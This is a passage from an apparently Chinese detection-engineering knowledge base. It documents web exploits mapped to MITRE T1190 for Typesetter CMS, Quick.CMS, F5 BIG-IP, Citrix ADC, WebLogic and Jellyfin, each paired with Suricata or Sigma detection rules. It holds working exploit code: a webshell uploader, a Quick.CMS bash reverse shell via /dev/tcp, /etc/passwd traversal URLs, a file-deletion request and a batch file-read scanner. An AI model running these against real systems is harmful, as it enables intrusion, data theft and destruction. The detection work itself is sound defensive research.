cookie_admin.split(':')[0].split('=')[1].split(';')[0] ----------------------------------------------------- if cookie_name == None or cookie_name == "": - -------------- if cookie_value == None or cookie_value == "": - -------------- print("==> Something went wrong while login") - -------------- else: - -------------- data = f"{cookie_name}={cookie_value};" - -------------- return data - -------------- except (requests.exceptions.Timeout, requests.exceptions.BaseHTTPError) as e: - -------------- print(f'==> Error while login {e}') ----------------------------------------------------- def upload_zip(self): - -------------- url = self.url + '/Admin_Finder' - -------------- hash_verified = self.get_verified() - -------------- hash_dir = self.get_hash_folders() - -------------- auth_cookie = self.get_cookies() ----------------------------------------------------- try: - -------------- print(f"==> Uploading file: {self.file}") - -------------- data = {'cmd': "upload", "target": hash_dir, "verified": hash_verified} - -------------- r = requests.post(url=url, verify=False, timeout=10, - -------------- headers={'User-Agent': self.user_agent, 'Cookie': auth_cookie}, data=data, files={'upload[]': self.file}) - -------------- hash_file = r.json()['added'][0]['hash'] - -------------- self.extract_file(auth_cookie, hash_file, hash_verified) - -------------- except (requests.exceptions.HTTPError, requests.exceptions.Timeout) as e: - -------------- print(f"==> Error while uploading {e}") ---------- def extract_file(self, auth_cookie, hash_file, hash_verified): - -------------- data_post={'verified': hash_verified, 'cmd': 'extract', 'target': hash_file} - -------------- try: - -------------- url = self.url + "/Admin_Finder" - -------------- r = requests.post(url=url, data=data_post, headers={'User-Agent': self.user_agent, 'Cookie': auth_cookie}, timeout=10, verify=False) - -------------- name_file = r.json()['added'][0]['name'] - -------------- print(f"==> All Hashes are collected from: {name_file}")--------------- - -------------- self.xpl(auth_cookie,name_file) - -------------- except (requests.exceptions.BaseHTTPError, requests.exceptions.Timeout) as e: - -------------- print(f'==> Error {e}') ---------- def xpl(self, auth_cookie, name_file): - -------------- try: - -------------- url = self.url + "/data/_uploaded/file/" + name_file + "?cmd=id" - -------------- new_url = url.replace("index.php", "") - -------------- print(f"==> Try to exploit: {new_url}") - -------------- r = requests.get(url=new_url, headers={'User-Agent': self.user_agent, 'Cookie': auth_cookie}, timeout=10, verify=False) - -------------- pattern = r'
(.*?)
' - -------------- m = re.search(pattern, r.text.replace("\n", "")) - -------------- if m is not None and m != "": - -------------- print(f"==> Vulnerable: {m.group(1)}") - -------------- except (requests.exceptions.BaseHTTPError, requests.exceptions.Timeout) as e: - -------------- print(f'==> Error {e}') ---------- def get_verified(self): - -------------- try: - -------------- url = self.url + "/Admin/Uploaded" - -------------- auth_cookie = self.get_cookies() - -------------- r = requests.get(url=url, headers={'User-Agent': self.user_agent, 'Cookie': auth_cookie}, timeout=10, verify=False) - -------------- data = r.text - -------------- pattern_regex = r'"verified":"(.*)"}' - -------------- m = re.search(pattern_regex, data) - -------------- if m is not None or m != "": - -------------- return m.group(1) ----------------------------------------------------- except (requests.exceptions.BaseHTTPError, requests.exceptions.Timeout) as e: - -------------- print(f'==> Error {e}') ----------------------------------------------------- if __name__ == "__main__": - -------------- obj = Exploit(login, password, url, file) - -------------- obj.upload_zip() ``` ## 测试留痕 ``` yml POST /index.php/Admin_Finder HTTP/1.1 Host: 172.17.41.106 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 186 Origin: http://172.17.41.106 Connection: keep-alive Referer: http://172.17.41.106/index.php/Admin/Uploaded Cookie: g=2; gpEasy_8970d7b01d50=WGg1nivX5H8WZwTgXg2HS2EIl0m9sD5IOVn2YV5l verified=cea661e44fe5fe2e1e39fe3c9b055d556ea565fdc613f2adf8aed7b91d14f71002e28067814822df3aaf258cd7d97883f90b7a507fcdd8685b7deea232b9748b&cmd=extract&target=l1_ZmlsZS9zaW1wbGUucGhwLnppcAHTTP/1.1 200 OK Date: Fri, 09 Oct 2020 07:42:58 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Fri, 9 Oct 2020 07:42:58 GMT Expires: Fri, 9 Oct 2020 07:42:58 GMT Cache-Control: no-store, no-cache, must-revalidate Cache-Control: post-check=0, pre-check=0 Pragma: no-cache X-Frame-Options: SAMEORIGIN Content-Encoding: gzip Vary: Accept-Encoding Content-Length: 144 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/json {"added":[{"mime":"text\/html","ts":1600337620,"read":1,"write":1,"size":348,"hash":"l1_ZmlsZS9zaW1wbGUucGhw","name":"simple.php","phash":"l1_ZmlsZQ"}]}GET /data/_uploaded/file/simple.php HTTP/1.1 Host: 172.17.41.106 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: keep-alive Referer: http://172.17.41.106/index.php/Admin/Uploaded Cookie: g=2; gpEasy_8970d7b01d50=WGg1nivX5H8WZwTgXg2HS2EIl0m9sD5IOVn2YV5l Upgrade-Insecure-Requests: 1 HTTP/1.1 200 OK Date: Fri, 09 Oct 2020 07:43:01 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 181 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8




```
## 检测规则/思路
### Suricata规则
```
s
alert http any any -> any any (msg:"CVE-2020-25790-requset";flow:established,to_server;content:"POST";http_method;content:"/index.php/Admin_Finder";http_uri;content:"&cmd=extract&target=";http_client_body; flowbits: set, first_get_req; noalert; reference:url,blog.csdn.net/xuandao_ahfengren/article/details/111402910;classtype:web-application-attck;sid:1;rev:1;)
alert http any any -> any any (msg:"CVE-2020-25790-rsp";flow:established,to_client;content:"200";http_stat_code;content:"added";http_server_body;flowbits:isset,first_get_req;noalert;flowbits:set,second_get_req;sid:2;rev:1;)
alert http any any -> any any (msg:"CVE-2020-25790-Typesetter CMS文件上传漏洞";flow:established,to_server;content:"GET";http_method;content:"/data/_uploaded/file/";http_uri;flowbits:isset,second_get_req;sid:3;rev:1;)
```
### 建议
流量+安全设备比较容易检测到此攻击行为。
## 参考推荐
MITRE-ATT&CK-T1190

Typesetter CMS文件上传漏洞复现(CVE-2020-25790)



================================================
FILE: Web/2020/T1190-CVE-2020-35754-QuickCms访问控制错误漏洞.md
================================================
# T1190-CVE-2020-35754-QuickCms访问控制错误漏洞------------------
## 来自ATT&CK的描述------------------
使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。------------------
如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。------------------
对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。------------------
## 测试案例------------------
Opensolution Quick.Cart和Opensolution Quick.Cms都是波兰Opensolution公司的产品。Opensolution Quick.Cart是一款用于构建购物车平台的建站系统。Opensolution Quick.Cms是一款用于构建文本管理平台的建站系统。 OpenSolution Quick.CMS < 6.7 and Quick.Cart < 6.7 存在注入漏洞,该漏洞允许经过身份验证的用户通过Language选项卡的输入字段执行代码注入。------------------
## 检测日志------------------
HTTP------------------
## 测试复现------------------
POC&&EXP------------------
```
yml
# Exploit Title: Quick.CMS 6.7 - Remote Code Execution (Authenticated)
# Date: 2020-12-28
# Exploit Author: mari0x00
# Vendor Homepage: https://opensolution.org/
# Software Link: https://opensolution.org/download/?sFile=Quick.Cms_v6.7-pl.zip
# Description: https://secator.pl/index.php/2021/01/28/cve-2020-35754-authenticated-rce-in-quick-cms-and-quick-cart/
# Version: <= 6.7
# CVE : CVE-2020-35754------------------
# !/usr/bin/python3------------------
import requests
import sys
from termcolor import colored
from time import sleep------------------
print(colored('''###########################################################''',"red"))
print(colored('''######    Quick.CMS authenticated RCE by mari0x00   #######''',"red"))
print(colored('''###########################################################''',"red"))
print("")------------------
if len(sys.argv) != 6:
    print((colored("[~] Usage : python3 quickpwn.py     ","red")))
    print((colored("[~] Example: python3 quickpwn.py http://192.168.101.105/quick.cms/ john@example.com pass123 192.168.101.101 4444","red")))
    exit()
url = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
IP = sys.argv[4]
PORT = sys.argv[5]------------------------------------------------------------------------------------------------------------------
# Start session
s = requests.Session()
headers = {'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0'}------------------------------------------------------------------------------------------------------------------
# Authenticate
print((colored("[+] Attempting user login","blue")))------------------
login_data = {
    "sEmail": username,
    "sPass": password,
    "bAcceptLicense": "1",
    "iAcceptLicense": "true"
   }------------------
login = s.post(url+"admin.php?p=login", login_data, headers=headers)
sleep(0.5)------------------------------------------------------------------------------------------------------------------
# Exploit
print((colored("[+] Adding shell command","blue")))
payload = "Back end\\\"; system('/bin/bash -c \\'bash -i >& /dev/tcp/" + IP + "/" + PORT + " 0>&1\\''); //"------------------
shell = {
    "sOption": "save",
    "Back_end_only": payload
}------------------
exploit = s.post(url+"admin.php?p=languages&sLangEdit=en", shell, headers=headers)
sleep(1)------------------
# Triggering reverse shell (three times just in case)
print("")
print((colored("[+] Triggering the shell. Go nuts!","green")))
r = s.get(url+"admin.php?p=languages", headers=headers)
sleep(1)
r = s.get(url+"admin.php?p=languages", headers=headers)
sleep(1)
r = s.get(url+"admin.php?p=languages", headers=headers)------------------
```
- -----------------
## 检测规则/思路------------------
### Suricata规则------------------
```
s
alert http any any -> any any (msg:"CVE-2020-35754-QuickCms-1";flow:established,to_server;content:"POST";http_method;content:"/quickcmsadmin.php?p=";http_uri;content:"bAcceptLicense=1&iAcceptLicense=true";http_client_body;flowbits:set,first_req;noalert;classtype:web-application-attck;sid:1;rev:1;)------------------
alert http any any -> any any (msg:"CVE-2020-35754-QuickCms-2";flow:established,to_server;content:"POST";http_method;content:"/quickcmsadmin.php?p=";http_uri;content:"Back_end_only=";http_client_body;flowbits:isset,first_req;noalert;flowbits:set,second-req;classtype:web-application-attck;sid:2;rev:1;)------------------
alert http any any -> any any (msg:"CVE-2020-35754-QuickCms访问控制错误漏洞";flow:established,to_server;content:"GET";http_method;content:"/quickcmsadmin.php?p=languages";http_uri;flowbits:isset,second-req;reference:url,www.anquanke.com/vul/id/2332309;classtype:web-application-attck;sid:3;rev:1;)------------------
```
- -----------------
### 建议------------------
流量+安全设备比较容易检测到此攻击行为。------------------
## 参考推荐------------------
MITRE-ATT&CK-T1190------------------
------------------
Opensolution Quick.Cart和Opensolution Quick.Cms访问控制错误漏洞------------------



================================================
FILE: Web/2020/T1190-CVE-2020-5902-F5_BIG-IP_远程代码执行漏洞.md
================================================
# T1190-CVE-2020-5902-F5_BIG-IP-远程代码执行
## 来自ATT&CK的描述
使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。
如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。
对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。
## 测试案例
F5 BIG-IP 是美国F5公司一款集成流量管理、DNS、出入站规则、web应用防火墙、web网关、负载均衡等功能的应用交付平台。在 F5 BIG-IP 产品的流量管理用户页面 (TMUI)/配置实用程序的特定页面中存在一处远程代码执行漏洞。
未授权的远程攻击者通过向该页面发送特制的请求包,可以造成任意Java 代码执行。进而控制 F5 BIG-IP 的全部功能,包括但不限于: 执行任意系统命令、开启/禁用服务、创建/删除服务器端文件等。
漏洞影响范围:
11.6.x, 12.1.x, 13.1.x, 14.1.x, 15.0.x, 15.1.x
## 检测日志
HTTP.log
## 测试复现
漏洞利用建议参考:
F5 BIG-IP 远程代码执行漏洞(CVE-2020-5902) 漏洞利用

cve-2020-5902 RCE的payload以及绕过方式

## 测试留痕
暂无实测,故无留痕。直接引用漏洞利用建议参考中的案例数据进行特征提取。
### 文件读取POC
```
yml
curl -v -k  'https://[F5 Host]/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd'
https:///tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd
https:///tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/hosts
https:///tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/config/bigip.license
https:///tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/config/bigip.conf
```
### 通过java反序列化绕过waf的payload
```
yml
String dburl = "jdbc:hsqldb:https://" + server +
                               ":443/tmui/login.jsp/..%3b/hsqldb/"; #截取部分内容
```
## 检测规则/思路
### sigma规则
```
yml
title: CVE-2020-5902 F5 BIG-IP 远程代码执行漏洞
status: experimental
references:
    - https://blog.csdn.net/wuyou1995/article/details/107170186/
    - https://www.cnblogs.com/potatsoSec/p/13263806.html
author: Florian Roth
translator: 12306Bro
date: 2020/07/05
logsource:
    category: webserver
detection:
    selection_base:
        c-uri|contains:
            - '/tmui/'
            - '/hsqldb'
    selection_traversal:
        c-uri|contains:
            - '..;/'
            - '.jsp/..'
    condition: selection_base and selection_traversal
fields:
    - c-ip
    - c-dns
falsepositives:
    - Unknown
tags:
    - attack.initial_access
    - attack.t1190
level: critical
```
### 建议
建议使用HTTP流量+安全设备进行检测分析判断攻击是否成功。
## 参考推荐
MITRE-ATT&CK-T1190

F5 BIG-IP 远程代码执行漏洞(CVE-2020-5902) 漏洞利用

cve-2020-5902 RCE的payload以及绕过方式



================================================
FILE: Web/2020/T1190-CVE-2020-8193-CVE-2020-8195.md
================================================
# T1190-CVE-2020-8193/CVE-2020-8195
## 来自ATT&CK的描述
使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。
如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。
对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。
## 测试案例
Citrix Systems Citrix Application Delivery Controller(ADC)等都是美国思杰系统(Citrix Systems)公司的产品。Citrix Application Delivery Controller是一款应用交付控制器。Citrix Systems Gateway(Citrix Systems NetScaler Gateway)是一套安全的远程接入解决方案。Citrix System SDWAN WAN-OP是一款SD-WAN(虚拟软件定义的广域网)设备。Citrix Systems Citrix ADC、Citrix Gateway和Citrix SDWAN WAN-OP中存在安全漏洞。攻击者可利用该漏洞绕过权限限制。
## 检测日志
HTTP.log
## 测试复现
漏洞利用方式建议参考:
Citrix Systems产品安全漏洞 CVE-2020-8193, CVE-2020-8195 and CVE-2020-8196 poc

Citrix安全研究历险记

## 测试留痕
暂无实测,截取部分公开资料内容作为留痕数据。
### 删除文件
```
yml
POST /rapi/filedownload?filter=remove:1,path:%2ftmp%2ftest HTTP/1.1
Host: citrix.local
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://citrix.local/menu/neo
If-Modified-Since: Thu, 01 Jan 1970 05:30:00 GMT
rand_key: 2061490565.1580290269373855
DNT: 1
X-NITRO-USER: henk
X-NITRO-PASS: henk
Connection: close
Cookie: startupapp=neo; is_cisco_platform=0; st_splitter=350px; rdx_pagination_size=25%20Per%20Page; SESSID=05afba59ef8e0e35933f3bc266941337
Content-Type: application/xml
Content-Length: 31

```
以上内容截取自
### 获取默认所有签名
```
yml
POST /pcidss/report?type=all_signatures&sid=254&username=nsroot&profile_name=default&set=0&sig_name=_default_signature_&sig_start_no=1 HTTP/1.1
Host: citrix.local
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://citrix.local/pcidss/launch_report?type=main
Content-Type: application/xml
Content-Length: 0
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
```
以上内容截取自
## 检测规则/思路
### sigma规则
```
yml
title: 检测可疑的CVE-2020-8193/CVE-2020-8195
references:
    - https://www.cnblogs.com/potatsoSec/p/13281577.html
    - https://research.nccgroup.com/2020/07/10/rift-citrix-adc-vulnerabilities-cve-2020-8193-cve-2020-8195-and-cve-2020-8196-intelligence/
status: experimental
date: 2020/07/10
tags:
    - attack.initial_access
    - attack.t1190
logsource:
    category: webserver
detection:
    selection1:
        c-uri|contains:
            - '/rapi/filedownload?filter=path:%2F' #删除文件时POST请求,URL路径包含的字段。
    selection2:
        c-uri|contains|all:
            - '/pcidss/report' #获取所有默认签名时POST请求URL内包含的字段
            - 'type=all_signatures'
            - 'sig_name=_default_signature_'
    condition: 1 of them
fields:
    - client_ip
    - vhost
    - url
    - response
falsepositives:
    - Unknown
level: critical
```
### 建议
建议使用HTTP流量+安全设备进行检测分析,研判攻击是否成功。
## 参考推荐
MITRE-ATT&CK-T1190



================================================
FILE: Web/2021/T1190-CVE-2021-2109_Weblogic_LDAP_远程代码执行漏洞.md
================================================
# T1190-CVE-2021-2109_Weblogic_LDAP_远程代码执行漏洞-----------------
## 来自ATT&CK的描述-----------------
使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。-----------------
如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。-----------------
对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。-----------------
## 测试案例-----------------
2021年1月20日,绿盟科技监测发现Oracle官方发布了2021年1月关键补丁更新公告CPU(Critical Patch Update),共修复了329个不同程度的漏洞,其中包括7个影响WebLogic的严重漏洞(CVE-2021-1994、CVE-2021-2047、CVE-2021-2064、CVE-2021-2108、CVE-2021-2075、CVE-2019-17195、CVE-2020-14756),未经身份验证的攻击者可通过此次的漏洞实现远程代码执行。CVSS评分均为9.8,利用复杂度低。建议用户尽快采取措施,对上述漏洞进行防护。-----------------
### 0x1 影响版本-----------------
```
yml
WebLogic Server 10.3.6.0.0-----------------
WebLogic Server 12.1.3.0.0-----------------
WebLogic Server 12.2.1.3.0-----------------
WebLogic Server 12.2.1.4.0-----------------
WebLogic Server 14.1.1.0.0-----------------
```
- ----------------
### 0x2 漏洞详情-----------------
可参考:-----------------
Weblogic LDAP 远程代码执行漏洞 CVE-2021-210:-----------------
【漏洞复现系列】超详细复现过程_CVE-2021-2109_Weblogic Server远程代码执行漏洞复现_JDK版本对比:-----------------
## 检测日志-----------------
HTTP.log,主要是基于POC报文进行检测,POC如下:-----------------
```
yml
POST /console/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://192.168.122;1:1389/Basic/WeblogicEcho;AdminServer%22) HTTP/1.1
Host: 192.168.122.9:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
cmd:whoami
Cookie:  ADMINCONSOLESESSION=8xUkHS93pNBdw9iRlb1XOoH5Iy5qm65NmKad54eCEtDI2PErEIXy!-181493417
Connection: close-----------------
配合未授权访问后台-----------------
POST /console/css/%252e%252e/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://192.168.122;1:1389/Basic/WeblogicEcho;AdminServer%22) HTTP/1.1
Host: 192.168.122.9:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
cmd:pwd
Cookie:  ADMINCONSOLESESSION=8xUkHS93pNBdw9iRlb1XOoH5Iy5qm65NmKad54eCEtDI2PErEIXy!-181493417
Connection: close-----------------
```
- ----------------
## 测试复现-----------------
可参考漏洞详情部分-----------------
## 检测规则/思路-----------------
### sigma规则-----------------
```
yml
title: Oracle WebLogic CVE-2021-2109 HTTP协议远程代码执行漏洞检测
status: 测试状态
description: 基于HTTP日志进行检测
references:
    - https://blog.csdn.net/m0_46257936/article/details/112984836
    - https://www.cnblogs.com/Yang34/archive/2004/01/13/14327495.html
logsource:
    category: webserver #日志源:webserver
detection:
    selection:
        cs-method: 'GET' #请求方法为GET
        c-uri|contains|all: #请求url中包含以下任意内容
            - 'com.bea.console.handles.JndiBindingHandle'
            - 'ldap://'
            - 'AdminServer'
    condition: selection
fields:
    - c-ip
    - c-dns
falsepositives: #误报情况 未知
    - Unknown
level: critical
tags:
    - attack.t1190
    - attack.initial_access
    - cve.2021-2109-----------------
```
- ----------------
### 建议-----------------
建议使用HTTP流量+安全设备(天眼)进行检测分析判断攻击是否成功。-----------------
## 参考推荐-----------------
MITRE-ATT&CK-T1190-----------------
-----------------
Weblogic LDAP 远程代码执行漏洞 CVE-2021-2109-----------------
-----------------
【漏洞复现系列】超详细复现过程_CVE-2021-2109_Weblogic Server远程代码执行漏洞复现_JDK版本对比-----------------
-----------------
CVE-2021-2109 Weblogic Server远程代码执行-----------------



================================================
FILE: Web/2021/T1190-CVE-2021-21402-Jellyfin任意文件读取漏洞.md
================================================
# T1190-CVE-2021-21402-Jellyfin任意文件读取漏洞
## 来自ATT&CK的描述
使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。
如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。
对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。
## 测试案例
Jellyfin是一个自由软件媒体系统,在10.7.1版之前的Jellyfin中,攻击者可以通过精心构造的请求读取Jellyfin服务器端的任意文件,当使用Windows主机作为操作系统时,此问题将变得跟加普遍,该漏洞已在10.7.1版本中修复。
影响范围:Jellyfin<10.7.1
## 检测日志
HTTP
## 测试复现
### 利用POC
从服务器下载带有密码的jellyfin.db:
/Audio/anything/hls/..%5Cdata%5Cjellyfin.db/stream.mp3/
未经授权读取windows的文件
GET  /Audio/anything/hls/..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini/stream.aac/
GET /Audio/anything/hls/..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini/stream.mp3/
读取host文件
/Audio/anything/hls/..%5C..%5C..%5C..%5C..%5C..%5CWindows%5CSystem32%5Cdrivers%5Cetc%5Chosts/stream.mp3/
读取带有密码的数据库文件
/Audio/anything/hls/..%5Cdata%5Cjellyfin.db/stream.mp3/
### Python_POC
```
python
# 批量ip
import requests
import sys
import urllib3
urllib3.disable_warnings()
- -------------------------
if len(sys.argv)!=2:
    print('Usage: python3  xxx.py  urls.txt')
    sys.exit()
txt= sys.argv[1]
f=open(txt,'r+')
for i in f.readlines(): --------------------------
    url=i.strip()
    url=url+"/Audio/1/hls/..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini/stream.mp3/"
    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36',
                "Content-Type": "application/octet-stream"
    }
    response=requests.get(url,headers=headers,verify=False)
    if response.status_code==200:
        print(url+"  "+"存在漏洞")
    - -------------------------
    else:
        print(url+"  "+"不存在漏洞")
```
```
python
# 单个ip
import requests
import sys
import urllib3
urllib3.disable_warnings()
- -------------------------
if len(sys.argv)!=2: --------------------------
    print('Usage: python3  xxx.py  http://xxx.xxx.xxx.xxx ')
    sys.exit()
url= sys.argv[1]
url=url+"/Audio/1/hls/..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini/stream.mp3/"
headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36',
                "Content-Type": "application/octet-stream"
    }
response=requests.get(url,headers=headers,verify=False)
if response.status_code==200:
    print("存在漏洞")
    - -------------------------
else:
    print("不存在漏洞")
```
## 测试留痕
```
yml
GET /Audio/anything/hls/..%5Cdata%5Cjellyfin.db/stream.mp3/ HTTP/1.1
Host: 10.16.45.164:5577
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36 Edg/89.0.774.68
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
HTTP/1.1 200 OK
Date: Thu, 08 Apr 2021 10:13:59 GMT
Content-Type: application/octet-stream
Server: Microsoft-NetCore/2.0, UPnP/1.0 DLNADOC/1.50
Content-Length: 331776
Cache-Control: public
Last-Modified: Sun, 04 Apr 2021 15:34:24 GMT
Accept-Ranges: bytes
Age: 326376
Access-Control-Allow-Credentials: true
Access-Control-Allow-Headers: Accept, Accept-Language, Authorization, Cache-Control, Content-Disposition, Content-Encoding, Content-Language, Content-Length, Content-MD5, Content-Range, Content-Type, Cookie, Date, Host, If-Match, If-Modified-Since, If-None-Match, If-Unmodified-Since, Origin, OriginToken, Pragma, Range, Slug, Transfer-Encoding, Want-Digest, X-MediaBrowser-Token, X-Emby-Authorization
Access-Control-Allow-Methods: GET, POST, PUT, DELETE, PATCH, OPTIONS
Access-Control-Allow-Origin: 110.93.247.208:5577
SQLite format 3......@  ...@...Q...............................................................@..?...........................................................}...?+...indexIX_AccessSchedules_UserIdAccessSchedules.CREATE INDEX "IX_AccessSchedules_UserId" ON "AccessSchedules" ("UserId").<
..##..?tablePreferencesPreferences.CREATE TABLE "Preferences" (
    "Id" INTEGER NOT NULL CONSTRAINT "PK_Preferences" PRIMARY KEY AUTOINCREMENT,
    "Kind" INTEGER NOT NULL,
    "Value" TEXT NOT NULL,
    "RowVersion" INTEGER NOT NULL,
    "Preference_Preferences_Guid" TEXT NULL,
    CONSTRAINT "FK_Preferences_Users_Preference_Preferences_Guid" FOREIGN KEY ("Preference_Preferences_Guid") REFERENCES "Users" ("Id") ON DELETE RESTRICT
).? ..##..EtablePermissionsPermissions
CREATE TABLE "Permissions" (
    "Id" INTEGER NOT NULL CONSTRAINT "PK_Permissions" PRIMARY KEY AUTOINCREMENT,
    "Kind" INTEGER NOT NULL,
    "Value" INTEGER NOT NULL,
    "RowVersion" INTEGER NOT NULL,
    "Permission_Permissions_Guid" TEXT NULL,
    CONSTRAINT "FK_Permissions_Users_Permission_Permissions_Guid" FOREIGN KEY ("Permission_Permissions_Guid") REFERENCES "Users" ("Id") ON DELETE RESTRICT
).X...!!..{tableImageInfosImageInfos CREATE TABLE "ImageInfos" (
    "Id" INTEGER NOT NULL CONSTRAINT "PK_ImageInfos" PRIMARY KEY AUTOINCREMENT,
    "UserId" TEXT NULL,
    "Path" TEXT NOT NULL,
    "LastModified" TEXT NOT NULL,
    CONSTRAINT "FK_ImageInfos_Users_UserId" FOREIGN KEY ("UserId") REFERENCES "Users" ("Id") ON DELETE RESTRICT
).....++..etableAccessSchedulesAccessSchedules.CREATE TABLE "AccessSchedules" (
    "Id" INTEGER NOT NULL CONSTRAINT "PK_AccessSchedules" PRIMARY KEY AUTOINCREMENT,
    "UserId" TEXT NOT NULL,
